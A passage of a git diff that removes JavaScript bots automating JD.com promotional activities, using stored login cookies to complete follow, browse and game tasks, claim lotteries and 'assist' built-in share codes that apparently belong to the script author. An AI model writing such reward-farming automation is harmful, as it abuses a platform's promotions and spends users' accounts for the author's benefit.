-//记录已关注的频道 -function queryDoneTaskRecord(taskId, taskType) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/queryDoneTaskRecord/${taskType}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//一键关注店铺,一键加购商品API -function followShops(functionID, taskId) { - return new Promise(async resolve => { - $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - console.log(`${functionID === 'followShops'? '一键关注店铺': '一键加购商品'}结果:${data.head.msg}`); - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//关注频道API -function followChannel(taskId, channelId) { - return new Promise(async resolve => { - $.get(taskUrl(`/ssjj-task-record/followChannel/${channelId}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function createInviteUser() { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/createInviteUser`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - if (data.body.id) { - console.log(`\n您的${$.name}shareCode(每天都是变化的):【${data.body.id}】\n`); - $.shareCode = data.body.id; - $.newShareCodes.push({ 'code': data.body.id, 'token': $.token, cookie }); - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function createAssistUser(inviteId, taskId) { - // console.log(`${inviteId}, ${taskId}`, `${cookie}`); - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/createAssistUser/${inviteId}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - console.log(`给好友${data.body.inviteId}:【${data.head.msg}】\n`) - } - } else { - console.log(`助力失败${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function game(taskId, index, awardWoB = 100) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/game/${index}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function clock(taskId, awardWoB) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/clock/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【每日打卡】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function queryAllTaskInfo() { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-task-info/queryAllTaskInfo/2`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - $.taskList = data.body; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//免费抽奖 -function drawRecord(id) { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-draw-record/draw/${id}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【免费抽奖】获得:${data.body.name}\n`; - } else { - message += `【免费抽奖】未中奖\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//查询免费抽奖机会 -function queryDraw() { - return new Promise(resolve => { - $.get(taskUrl("ssjj-draw-center/queryDraw"), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - $.freeDrawCount = data.body.freeDrawCount;//免费抽奖次数 - $.lotteryId = data.body.center.id; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//查询是否开启了此活动 -function ssjjRooms() { - return new Promise(resolve => { - $.get(taskUrl("ssjj-rooms/info/%E5%AE%A2%E5%8E%85"), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - $.isUnLock = data.body.isUnLock; - if (!$.isUnLock) { - console.log(`京东账号${$.index}${$.nickName}未开启此活动\n`); - //$.msg($.name, '', `京东账号${$.index}${$.nickName}未开启此活动\n点击弹窗去开启此活动( ̄▽ ̄)"`, {"open-url": "openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html%22%20%7D"}); - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function loginHome() { - return new Promise(resolve => { - const options = { - "url": "https://jdhome.m.jd.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0", - "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Length": "0", - "Content-Type": "application/json", - "Cookie": cookie, - "Host": "jdhome.m.jd.com", - "Origin": "https://jdhome.m.jd.com", - "Referer": "https://jdhome.m.jd.com/dist/taro/index.html/", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} encrypt/pin API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.success) { - await login(data.data.lkEPin); - } else { - console.log(`异常:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -function login(userName) { - return new Promise(resolve => { - const body = { - "body": { - "client": 2, - userName - } - }; - const options = { - "url": `${JD_API_HOST}/user-info/login`, - "body": JSON.stringify(body), - "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json", - "Host": "lkyl.dianpusoft.cn", - "Origin": "https://lkyl.dianpusoft.cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.head.code === 200) { - $.token = data.head.token; - $.helpToken.push(data.head.token) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getAuthorShareCode(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - // console.log(`${JSON.stringify(err)}`) - // console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function taskUrl(url, body = {}) { - return { - url: `${JD_API_HOST}/${url}?body=${escape(body)}`, - timeout: 10000, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Connection": "keep-alive", - "content-type": "application/json", - "Host": "lkyl.dianpusoft.cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", - "token": $.token, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function taskPostUrl(url) { - return { - url: `${JD_API_HOST}/${url}`, - timeout: 10000, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Connection": "keep-alive", - "content-type": "application/json", - "Host": "lkyl.dianpusoft.cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", - "token": $.token, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function sortByjdBeanNum(a, b) { - return a['jdBeanNum'] - b['jdBeanNum']; -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_split.js b/activity/jd_split.js deleted file mode 100644 index e8c02d6..0000000 --- a/activity/jd_split.js +++ /dev/null @@ -1,312 +0,0 @@ -/* -金榜年终奖 -脚本会给内置的码进行助力 -活动时间:2020-12-12日结束 -活动入口:京东APP首页右边浮动飘窗 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#金榜年终奖 -10 0 * * * jd_split.js, tag=年终奖, enabled=true - -================Loon============== -[Script] -cron "10 0 * * *" script-path=jd_split.js,tag=年终奖 - -===============Surge================= -金榜年终奖 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_split.js - -============小火箭========= -金榜年终奖 = type=cron,script-path=jd_split.js, cronexpr="10 0 * * *", timeout=3600, enable=true - */ -const $ = new Env('金榜年终奖'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -$.newShareCodes = [`P04z54XCjVUnIaW5nJcXCCyoR8C6p8txXBH`, 'P04z54XCjVUnIaW5m9cZ2T6jChKki0Hfndla5k', 'P04z54XCjVUnIaW5u2ak7ZCdan1BT0NlbBGZ1-rnMYj', 'P04z54XCjVUnIaW5m9cZ2ariXVJwI64DaVTNXQ']; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdSplit() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdSplit() { - await helpFriends(); - await jdsplit_getTaskDetail(); - await doTask(); - await showMsg(); -} -function showMsg() { - return new Promise(resolve => { - message += `任务已做完:具体奖品去发活动页面查看\n活动入口:京东APP首页右边浮动飘窗`; - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - const helpRes = await jdsplit_collectScore(code,6,null); - if (helpRes.code === 0 && helpRes.data.bizCode === -7) { - console.log(`助力机会已耗尽,跳出`); - break - } - } -} -async function doTask() { - for (let item of $.taskVos) { - if (item.taskType === 8) { - //看看商品任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - for (let task of item.productInfoVos) { - if (task.status === 1) { - await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,1); - await $.wait(4000) - await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,0); - } - } - await jdsplit_getLottery(item.taskId) - } else if(item.status!==4){ - await jdsplit_getLottery(item.taskId) - console.log(`${item.taskName}已做完`) - } - } - if (item.taskType === 9) { - //逛会场任务 - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`); - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,1); - await $.wait(4000) - await jdsplit_collectScore(task.taskToken,item.taskId,task.itemId,0); - } - } - await jdsplit_getLottery(item.taskId) - } else if(item.status!==4){ - await jdsplit_getLottery(item.taskId) - console.log(`${item.taskName}已做完`) - } - } - } -} - -//领取做完任务的奖励 -function jdsplit_collectScore(taskToken, taskId, itemId, actionType=0) { - return new Promise(resolve => { - let body = { "appId":"1EFRTwA","taskToken":taskToken,"taskId":taskId,"itemId":itemId,"actionType":actionType } - $.post(taskPostUrl("harmony_collectScore", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.data.bizCode === 1){ - console.log(`任务领取成功`); - } - else if (data.data.bizCode === 0) { - if(data.data.result.taskType===6){ - console.log(`助力好友:${data.data.result.itemId}成功!`) - }else - console.log(`任务完成成功`); - } else { - console.log(`${data.data.bizMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// 抽奖 -function jdsplit_getLottery(taskId) { - return new Promise(resolve => { - let body = { "appId":"1EFRTwA","taskId":taskId} - $.post(taskPostUrl("splitHongbao_getLotteryResult", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`红包领取结果:${data.data.result.userAwardsCacheDto.redPacketVO.name}`); - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function jdsplit_getTaskDetail() { - return new Promise(resolve => { - $.post(taskPostUrl("splitHongbao_getHomeData", {"appId":"1EFRTwA","taskToken":""}, ), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.taskVos = data.data.result.taskVos;//任务列表 - $.taskVos.map(item => { - if (item.taskType === 6) { - console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) - } - }) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 